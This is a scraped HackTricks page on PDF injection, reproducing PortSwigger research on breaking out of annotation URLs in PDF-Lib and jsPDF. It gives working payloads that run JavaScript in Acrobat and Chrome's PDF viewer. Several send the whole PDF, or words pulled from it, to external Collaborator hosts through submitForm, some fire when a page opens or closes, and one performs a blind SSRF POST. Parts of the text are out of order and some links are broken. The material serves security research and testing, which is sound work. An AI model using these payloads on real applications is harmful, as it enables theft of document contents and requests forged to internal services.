📔
HackTricks - Boitatech
  • HackTricks
  • About the author
  • Getting Started in Hacking
  • Pentesting Methodology
  • External Recon Methodology
    • Github Leaked Secrets
  • Phishing Methodology
    • Clone a Website
    • Detecting Phising
    • Phishing Documents
  • Exfiltration
  • Tunneling and Port Forwarding
  • Brute Force - CheatSheet
  • Search Exploits
  • Shells
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • Linux/Unix
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • PAM - Pluggable Authentication Modules
      • SELinux
      • Logstash
      • AppArmor
      • Containerd (ctr) Privilege Escalation
      • Docker Breakout
      • electron/CEF/chromium debugger abuse
      • Escaping from Jails
      • Cisco - vmanage
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Interesting Groups - Linux PE
        • lxd/lxc Group - Privilege escalation
      • ld.so exploit example
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Payloads to execute
      • RunC Privilege Escalation
      • Seccomp
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Socket Command Injection
      • Wildcards Spare tricks
    • Useful Linux Commands
      • Bypass Bash Restrictions
    • Linux Environment Variables
  • MacOS
    • MacOS Security & Privilege Escalation
      • Mac OS Architecture
      • MacOS MDM
        • Enrolling Devices in Other Organisations
      • MacOS Protocols
      • MacOS Red Teaming
      • MacOS Serial Number
      • MacOS Apps - Inspecting, debugging and Fuzzing
  • Windows
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • DPAPI - Extracting Passwords
      • SeImpersonate from High To System
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • Dll Hijacking
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JAWS
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • PowerUp
      • Privilege Escalation Abusing Tokens
      • Privilege Escalation with Autoruns
      • RottenPotato
      • Seatbelt
      • SeDebug + SeImpersonate copy token
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
      • AD information in printers
      • ASREPRoast
      • BloodHound
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • DSRM Credentials
      • Golden Ticket
      • Kerberos Authentication
      • Kerberoast
      • MSSQL Trusted Links
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying
      • Force NTLM Privileged Authentication
      • Privileged Accounts and Token Privileges
      • Resource-based Constrained Delegation
      • Security Descriptors
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • NTLM
      • Places to steal NTLM creds
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WmicExec
      • AtExec / SchtasksExec
      • WinRM
    • Stealing Credentials
      • Credentials Protections
      • Mimikatz
    • Authentication, Credentials, UAC and EFS
    • Basic CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView
    • AV Bypass
  • Mobile Apps Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Burp Suite Configuration for Android
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable applciation
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Inspeckage Tutorial
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • Basic iOS Testing Operations
      • Burp Suite Configuration for iOS
      • Extracting Entitlements From Compiled Application
      • Frida Configuration in iOS
      • iOS App Extensions
      • iOS Basics
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
  • Pentesting
    • Pentesting Network
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
      • Wifi Attacks
        • Evil Twin EAP-TLS
      • Pentesting IPv6
      • Nmap Summary (ESP)
      • Network Protocols Explained (ESP)
      • IDS and IPS Evasion
      • DHCPv6
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
      • Accounting bypass
      • Buffer Overflows
      • Credentials Disclosure / Brute-Force
      • Cross-Site Printing
      • Document Processing
      • Factory Defaults
      • File system access
      • Firmware updates
      • Memory Access
      • Physical Damage
      • Software packages
      • Transmission channel
      • Print job manipulation
      • Print Job Retention
      • Scanner and Fax
    • Pentesting SAP
    • Pentesting Kubernetes
      • Enumeration from a Pod
      • Hardening Roles/ClusterRoles
      • Pentesting Kubernetes from the outside
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Apache
      • Artifactory Hacking guide
      • Buckets
        • Firebase Database
        • AWS-S3
      • CGI
      • Code Review Tools
      • Drupal
      • Flask
      • Git
      • Golang
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • JBOSS
      • Jenkins
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks (SPA)
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
      • Python
      • Special HTTP headers
      • Spring Actuators
      • Symphony
      • Tomcat
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • Web API Pentesting
      • WebDav
      • werkzeug
      • Wordpress
      • XSS to RCE Electron Desktop Apps
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
      • Oracle Pentesting requirements installation
      • TNS Poison
      • Remote stealth pass brute force
      • Oracle RCE & more
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS)
    • 5432,5433 - Pentesting Postgresql
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8089 - Splunkd
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
    • 15672 - Pentesting RabbitMQ Management
    • 27017,27018 - Pentesting MongoDB
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Abusing hop-by-hop headers
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Command Injection
    • Content Security Policy (CSP) Bypass
    • Cookies Hacking
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • Cross-site WebSocket hijacking (CSWSH)
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
    • Domain/Subdomain takeover
    • Email Header Injection
    • File Inclusion/Path traversal
      • phar:// deserialization
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula Injection
    • HTTP Request Smuggling / HTTP Desync Attack
    • H2C Smuggling
    • IDOR
    • JWT Vulnerabilities (Json Web Tokens)
    • NoSQL injection
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • PostMessage Vulnerabilities
    • Race Condition
    • Rate Limit Bypass
    • Registration Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MSSQL Injection
      • Oracle injection
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Extensions
      • MySQL injection
        • Mysql SSRF
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
    • Reverse Tab Nabbing
    • Unicode Normalization vulnerability
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • PDF Injection
      • DOM XSS
      • Server Side XSS (Dynamic PDF)
      • XSS Tools
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search
  • Forensics
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Adquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • EXT
        • File/Data Carving & Recovery Tools
        • NTFS
      • Pcap Inspection
        • DNSCat pcap analysis
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • .pyc
        • Browser Artifacts
        • Desofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Windows Processes
        • Interesting Windows Registry Keys
  • A.I. Exploiting
    • BRA.I.NSMASHER Presentation
      • Basic Bruteforcer
      • Basic Captcha Breaker
      • BIM Bruteforcer
      • Hybrid Malware Classifier Part 1
  • Blockchain
    • Blockchain & Crypto Currencies
  • Courses and Certifications Reviews
    • INE Courses and eLearnSecurity Certifications Reviews
  • Cloud Security
    • Cloud security review
    • AWS Security
  • Physical attacks
    • Physical Attacks
    • Escaping from KIOSKs
      • Show file extensions
  • Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Word Macros
  • Exploiting
    • Linux Exploiting (Basic) (SPA)
      • Format Strings Template
      • ROP - call sys_execve
      • ROP - Leaking LIBC address
        • ROP - Leaking LIBC template
      • Bypassing Canary & PIE
      • Ret2Lib
      • Fusion
    • Exploiting Tools
      • PwnTools
    • Windows Exploiting (Basic Guide - OSCP lvl)
  • Cryptography
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
  • BACKDOORS
    • Merlin
    • Empire
    • Salseo
    • ICMPsh
  • Stego
    • Stego Tricks
    • Esoteric languages
  • MISC
    • Basic Python
      • venv
      • Bypass Python sandboxes
      • Magic Methods
      • Web Requests
      • Bruteforce hash (few chars)
    • Other Big References
  • TODO
    • More Tools
    • MISC
    • Pentesting DNS
  • Burp Suite
  • Other Web Tricks
  • Interesting HTTP
  • Emails Vulnerabilities
  • Android Forensics
  • TR-069
  • 6881/udp - Pentesting BitTorrent
  • CTF Write-ups
    • challenge-0521.intigriti.io
    • Try Hack Me
      • hc0n Christmas CTF - 2019
      • Pickle Rick
  • 1911 - Pentesting fox
  • Online Platforms with API
  • Stealing Sensitive Information Disclosure from a Web
  • Post Exploitation
Powered by GitBook
On this page
  • PDF-Lib
  • sPDF
  • Executing annotations without interaction
  • Chrome
  • SSRF in PDFium/Acrobat

Was this helpful?

  1. Pentesting Web
  2. XSS (Cross Site Scripting)

PDF Injection

PreviousXSS (Cross Site Scripting)NextDOM XSS

Last updated 3 years ago

Was this helpful?

If your input is being reflected inside a PDF file, you can try to inject PDF data to execute JavaScript or steal the PDF content.

The following information was taken from **[

PDF-Lib

This time, I was using . I took some time to use the library to create an annotation and see if I could inject a closing parenthesis into the annotation URI - and it worked! The sample vulnerable code I used to generate the annotation code was:

... A: { Type: 'Action', S: 'URI', URI: PDFString.of(`injection)`), } }) ...

How did I know the injection was successful? The PDF would render correctly unless I injected a closing parenthesis. This proved that the closing parenthesis was breaking out of the string and causing invalid PDF code. Breaking the PDF was nice, but I needed to ensure I could execute JavaScript of course. I looked at the rendered PDF code and noticed the output was being encoded using the FlateDecode filter. I wrote a little script to deflate the block and the output of the annotation section looked like this:`<< /Type /Annot /Subtype /Link /Rect [ 50 746.89 320 711.89 ] /Border [ 0 0 2 ] /C [ 0 0 1 ] /A << /Type /Action /S /URI /URI (injection))

`

As you can clearly see, the injection string is closing the text boundary with a closing parenthesis, which leaves an existing closing parenthesis that causes the PDF to be rendered incorrectly:

Screenshot showing an error dialog when loading the PDF

Great, so I could break the rendering of the PDF, now what? I needed to come up with an injection that called some JavaScript - the alert(1) of PDF injection.

Just like how XSS vectors depend on the browser's parsing, PDF injection exploitability can depend on the PDF renderer. I decided to start by targeting Acrobat because I thought the vectors were less likely to work in Chrome. Two things I noticed: 1) You could inject additional annotation actions and 2) if you repair the existing closing parenthesis then the PDF would render. After some experimentation, I came up with a nice payload that injected an additional annotation action, executed JavaScript, and repaired the closing parenthesis:/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(

First I break out of the parenthesis, then break out of the dictionary using >> before starting a new annotation dictionary. The /S/JavaScript makes the annotation JavaScript-based and the /JS is where the JavaScript is stored. Inside the parentheses is our actual JavaScript. Note that you don't have to escape the parentheses if they're balanced. Finally, I add the type of annotation, finish the dictionary, and repair the closing parenthesis. This was so cool; I could craft an injection that executed JavaScript but so what, right? You can execute JavaScript but you don't have access to the DOM, so you can't read cookies. Then James popped up and suggested stealing the contents of the PDF from the injection. I started looking at ways to get the contents of a PDF. In Acrobat, I discovered that you can use JavaScript to submit forms without any user interaction! Looking at the spec for the JavaScript API, it was pretty straightforward to modify the base injection and add some JavaScript that would send the entire contents of the PDF code to an external server in a POST request:/blah)>>/A<</S/JavaScript/JS(app.alert(1); this.submitForm({ cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'})) /Type/Action>>/>>(

The alert is not needed; I just added it to prove the injection was executing JavaScript.

Next, just for fun, I looked at stealing the contents of the PDF without using JavaScript. From the PDF specification, I found out that you can use an action called SubmitForm. I used this in the past when I constructed a PDF for a scan check in Burp Suite. It does exactly what the name implies. It also has a Flags entry in the dictionary to control what is submitted. The Flags dictionary key accepts a single integer value, but each individual setting is controlled by a binary bit. A good way to work with these settings is using the new binary literals in ES6. The binary literal should be 14 bits long because there are 14 flags in total. In the following example, all of the settings are disabled:0b00000000000000

If you evaluate this with JavaScript, this results in the decimal value 256. In other words, setting the Flags entry to 256 will enable the SubmitPDF flag, which causes the contents of the PDF to be sent when submitting the form. All we need to do is use the base injection we created earlier and modify it to call the SubmitForm action instead of JavaScript:/blah)>>/A<</S/SubmitForm/Flags 256/F( https://your-id.burpcollaborator.net) /Type/Action>>/>>(

sPDF

So I generated a PDF using their API and injected PDF code into the url property:

var doc = new jsPDF(); doc.text(20, 20, 'Hello world!'); doc.addPage('a6','l'); doc.createAnnotation({bounds: {x:0,y:10,w:200,h:200},type:'link',url:` /blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/( `});

I reduced the vector by removing the type entries of the dictionary and the unneeded F entry. I then left a dangling parenthesis that would be closed by the existing one. Reducing the size of the injection is important because the web application you are injecting to might only allow a limited amount of characters./blah)>>/A<</S/JavaScript/JS(app.alert(1)

I then worked out that it was possible to reduce the vector even further! Acrobat would allow a URI and a JavaScript entry within one annotation action and would happily execute the JavaScript:/)/S/JavaScript/JS(app.alert(1)

Further research revealed that you can also inject multiple annotations. This means that instead of just injecting an action, you could break out of the annotation and define your own rect coordinates to choose which section of the document would be clickable. Using this technique, I was able to make the entire document clickable. /) >> >> <</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0 0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net

Executing annotations without interaction

So far, the vectors I've demonstrated require a click to activate the action from the annotation. Typically, James asked the question "Can we execute automatically?". I looked through the PDF specification and noticed some interesting features of annotations:

"The PV and PI entries allow a distinction between pages that are open and pages that are visible. At any one time, only a single page is considered open in the viewer application, while more than one page may be visible, depending on the page layout."

We can add the PV entry to the dictionary and the annotation will fire on Acrobat automatically! Not only that, but we can also execute a payload automatically when the PDF document is closed using the PC entry. An attacker could track you when you open the PDF and close it.

Here's how to execute automatically from an annotation:`var doc = new jsPDF(); doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:/)

<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`}); doc.text(20, 20, 'Auto execute');``

When you close the PDF, this annotation will fire:var doc = new jsPDF(); doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</Subtype /Screen /Rect [0 0 900 900] /AA <</PC <</S/JavaScript/JS(app.alert(1))>>/(`}); doc.text(20, 20, 'Close me');

Chrome

I've talked a lot about Acrobat but what about PDFium (Chrome's PDF reader)? Chrome is tricky; the attack surface is much smaller as its JavaScript support is more limited than Acrobat's. The first thing I noticed was that JavaScript wasn't being executed in annotations at all, so my proof of concepts weren't working. In order to get the vectors working in Chrome, I needed to at least execute JavaScript inside annotations. First though, I decided to try and overwrite a URL in an annotation. This was pretty easy. I could use the base injection I came up with before and simply inject another action with a URI entry that would overwrite the existing URL:var doc = new jsPDF(); doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net) /Type/Action>>/F 0>>(`}); doc.text(20, 20, 'Test text');

This would navigate to portswigger.net when clicked. Then I moved on and tried different injections to call JavaScript, but this would fail every time. I thought it was impossible to do. I took a step back and tried to manually construct an entire PDF that would call JavaScript from a click in Chrome without an injection. When using an AcroForm button, Chrome would allow JavaScript execution, but the problem was it required references to parts of the PDF. I managed to craft an injection that would execute JavaScript from a click on JSPDF:var doc = new jsPDF(); doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`}); doc.text(20, 20, 'Click me test');

As you can see, the above vector requires knowledge of the PDF structure. [ 3 0 R] refers to a specific PDF object and if we were doing a blind PDF injection attack, we wouldn't know the structure of it. Still, the next stage is to try a form submission. We can use the submitForm function for this, and because the annotation requires a click, Chrome will allow it:/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah

This works, but it's messy and requires knowledge of the PDF structure. We can reduce it a lot and remove the reliance on the PDF structure:#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS( app.alert(1) )/Type/Action/F 4/DA(blah

There's still some code we can remove:var doc = new jsPDF(); doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(A)>>/A<</S/JavaScript/JS(app.alert(1))/(`}); doc.text(20, 20, 'Test text');

The code above breaks out of the annotation, creates a new one, and makes the entire page clickable. In order for the JavaScript to execute, we have to inject a button and give it any text using the "T" entry. We can then finally inject our JavaScript code using the JS entry in the dictionary. Executing JavaScript on Chrome is great. I never thought it would be possible when I started this research.

Inspecting the output of the enumerator, I tried calling various functions in the hope of making external requests or gathering information from the PDF. Eventually, I found a very interesting function called getPageNthWord, which could extract words from the PDF document, thereby allowing me to steal the contents. The function has a subtle bug where the first word sometimes will not be extracted. But for the most part, it will extract the majority of words:var doc = new jsPDF(); doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS( words = []; for(page=0;page<this.numPages;page++) { for(wordPos=0;wordPos<this.getPageNumWords(page);wordPos++) { word = this.getPageNthWord(page, wordPos, true); words.push(word); } } app.alert(words); `}); doc.text(20, 20, 'Click me test'); doc.text(20, 40, 'Abc Def'); doc.text(20, 60, 'Some word');

I was pretty pleased with myself that I could steal the contents of the PDF on Chrome as I never thought this would be possible. Combining this with the submitForm vector would enable you to send the data to an external server. The only downside is that it requires a click. I wondered if you could get JavaScript execution without a click on Chrome. Looking at the PDF specification again, I noticed that there is another entry in the annotation dictionary called "E", which will execute the annotation when the mouse enters the annotation area - basically a mouseover event. Unfortunately, this does not count as user interaction to enable a form submission. So although you can execute JavaScript, you can't do anything with the data because you can't send it to an external server. If you can get Chrome to submit data with this event, please let me know because I'd be very interested to hear how. Anyway, here is the code to trigger a mouseover acton:var doc = new jsPDF(); doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</Type /Annot /Subtype /Widget /Parent<</FT/Btn/T(a)>> /Rect [0 0 900 900] /AA <</E <</S/JavaScript/JS(app.alert(1))>>/(`}); doc.text(20, 20, 'Test');

SSRF in PDFium/Acrobat

Finally, I want to finish with a hybrid Chrome and Acrobat PDF injection. The first part injects JavaScript into the existing annotation to execute JavaScript on Acrobat. The second part breaks out of the annotation and injects a new annotation that defines a new clickable area for Chrome. I use the Acroform trick again to inject a button so that the JavaScript will execute: var doc = new jsPDF(); doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)/S/JavaScript/JS(app.alert(1))/Type/Action>> >> <</Type/Annot/Rect[0 0 900 700]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS(app.alert(1)`}); doc.text(20, 20, 'Click me Acrobat'); doc.text(20, 60, 'Click me Chrome');

To set a flag, you first need to look up its bit position (table 237 of the ). In this case, we want to set the SubmitPDF flag. As this is controlled by the 9th bit, you just need to count 9 bits from the right:0b00000100000000

Next I applied my methodology to another PDF library - - and found it was vulnerable too. Exploiting this library was quite fun because they have an API that can execute in the browser and will allow you to generate the PDF in real time as you type. I noticed that, like the PDP-Lib library, they forgot to escape parentheses inside annotation URLs. Here the url property was vulnerable:doc.createAnnotation({bounds: {x:0,y:10,w:200,h:200}, type:'link',url:`/input`}); //vulnerable

Next I looked at the submitForm function to steal the contents of the PDF. We know that we can call the function and it does contact an external server, as demonstrated in one of the examples above, but does it support the full Acrobat specification? I looked at the but the function doesn't support SubmitAsPDF :( You can see it supports FDF, but unfortunately this doesn't submit the contents of the PDF. I looked for other ways but I didn't know what objects were available. I took the same approach I did with Acrobat and wrote a fuzzer/enumerator to find interesting objects. Getting information out of Chrome was more difficult than Acrobat; I had to gather information in chunks before outputting it using the alert function. This was because the alert function truncated the string sent to it.... doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <</Type/Annot/Rect[0 0 900 900]/Subtype/Widget/Parent<</FT/Btn/T(a)>>/A<</S/JavaScript/JS( (function(){ var obj = this, data = '', chunks = [], counter = 0, added = false, i, props = []; for(i in obj) { props.push(i); } ...

It's possible to send a POST request with PDFium/Acrobat to perform a SSRF attack. This would be a since you can make a POST request but can't read the response. To construct a POST request, you can use the /parent dictionary key as demonstrated earlier to assign a form element to the annotation, enabling JavaScript execution. But instead of using a button like we did before, you can assign a text field (/Tx) with the parameter name (/T) and parameter value (/V) dictionary keys. Notice how you have to pass the parameter names you want to use to the submitForm function as an array:#)>>>><</Type/Annot/Rect[ 0 0 900 900]/Subtype/Widget/Parent<</FT/Tx/T(foo)/V(bar)>>/A<</S/JavaScript/JS( app.alert(1); this.submitForm('https://aiws4u6uubgfdag94xvc5wbrfilc91.burpcollaborator.net', false, false, ['foo']); )/(

You can even send raw new lines, which could be useful when chaining other attacks such as . The result of the POST request can be seen in the following Collaborator request:

Screen shot showing a Burp Collaborator request from a PDF
PDF specification
jsPDF
source code of PDFium
Full code
blind SSRF
request smuggling
https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)****
PDFLib
Full code: